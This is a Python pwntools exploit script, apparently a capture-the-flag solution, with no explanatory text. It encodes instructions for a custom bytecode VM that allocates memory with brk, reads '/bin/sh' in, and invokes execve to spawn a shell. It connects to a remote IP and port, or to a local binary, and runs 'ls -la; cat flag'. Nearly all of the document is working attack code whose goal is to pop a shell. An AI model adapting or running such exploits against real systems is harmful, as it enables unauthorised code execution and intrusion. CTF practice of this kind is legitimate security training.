from pwn import * import time import sys
OP_MOV = 1 OP_ARITH_IMM = 2 OP_ARITH_REG = 3 OP_SYSCALL = 4
SUB_MOV_REG = 0x20 SUB_ADD_IMM = 0x10 SUB_XOR_REG = 0x70 VM_RAX = 0 VM_RDI = 1 VM_RSI = 2 VM_RDX = 3
def create_vm_instruction(opcode, args): payload = bytes([opcode]) if opcode == OP_MOV: src = args[0] dest = args[1] sub = args[2] payload += bytes([src, dest, sub]) elif opcode == OP_ARITH_IMM: dest = args[0] src = args[1] imm = args[2] sub = args[3]
if imm == 0: ib = b'\x00' else: ib = b'' tmp = imm while tmp > 0: ib = bytes([tmp & 0xFF]) + ib tmp >>= 8 payload += bytes([dest, src, len(ib)]) payload += ib payload += bytes([sub]) elif opcode == OP_ARITH_REG: dest = args[0] src1 = args[1] src2 = args[2] sub = args[3] payload += bytes([dest, src1, src2, sub]) elif opcode == OP_SYSCALL: pass return payload
def solve(): bytecode = b''
bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RAX, VM_RAX, VM_RAX, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RDI, VM_RDI, VM_RDI, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RSI, VM_RSI, VM_RSI, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RDX, VM_RDX, VM_RDX, SUB_XOR_REG])
bytecode += create_vm_instruction(OP_ARITH_IMM, [VM_RAX, VM_RAX, 12, SUB_ADD_IMM]) bytecode += create_vm_instruction(OP_SYSCALL, []) bytecode += create_vm_instruction(OP_MOV, [VM_RAX, VM_RSI, SUB_MOV_REG])
bytecode += create_vm_instruction(OP_ARITH_IMM, [VM_RDI, VM_RSI, 0x1000, SUB_ADD_IMM]) bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RAX, VM_RAX, VM_RAX, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_IMM, [VM_RAX, VM_RAX, 12, SUB_ADD_IMM]) bytecode += create_vm_instruction(OP_SYSCALL, [])
bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RAX, VM_RAX, VM_RAX, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RDI, VM_RDI, VM_RDI, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RDX, VM_RDX, VM_RDX, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_IMM, [VM_RDX, VM_RDX, 0x100, SUB_ADD_IMM]) bytecode += create_vm_instruction(OP_SYSCALL, [])
bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RAX, VM_RAX, VM_RAX, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_ARITH_IMM, [VM_RAX, VM_RAX, 59, SUB_ADD_IMM])
bytecode += create_vm_instruction(OP_MOV, [VM_RSI, VM_RDI, SUB_MOV_REG])
bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RSI, VM_RSI, VM_RSI, SUB_XOR_REG])
bytecode += create_vm_instruction(OP_ARITH_REG, [VM_RDX, VM_RDX, VM_RDX, SUB_XOR_REG]) bytecode += create_vm_instruction(OP_SYSCALL, [])
print(f"Bytecode length: {len(bytecode)}") if len(bytecode) > 512: print(f"Error: Bytecode too long ({len(bytecode)})") return
padding = b'\x90' * (512 - len(bytecode)) final_payload = bytecode + padding
context.log_level = 'debug' try: p = remote('114.66.24.228', 32091) except: print("Remote failed, trying local...") p = process('D:\\download\\193810_pwn\\pwn')
p.send(final_payload)
time.sleep(1) p.send(b'/bin/sh\x00')
try: data = p.recv(timeout=1) print("Received:", data) except: pass
time.sleep(1) p.sendline(b'echo SHELL_ACTIVE; ls -la; cat flag') try: while True: data = p.recv(timeout=2) if not data: break print(data.decode(errors='ignore'), end='') except Exception as e: print(e) p.close()
if __name__ == "__main__": solve()
|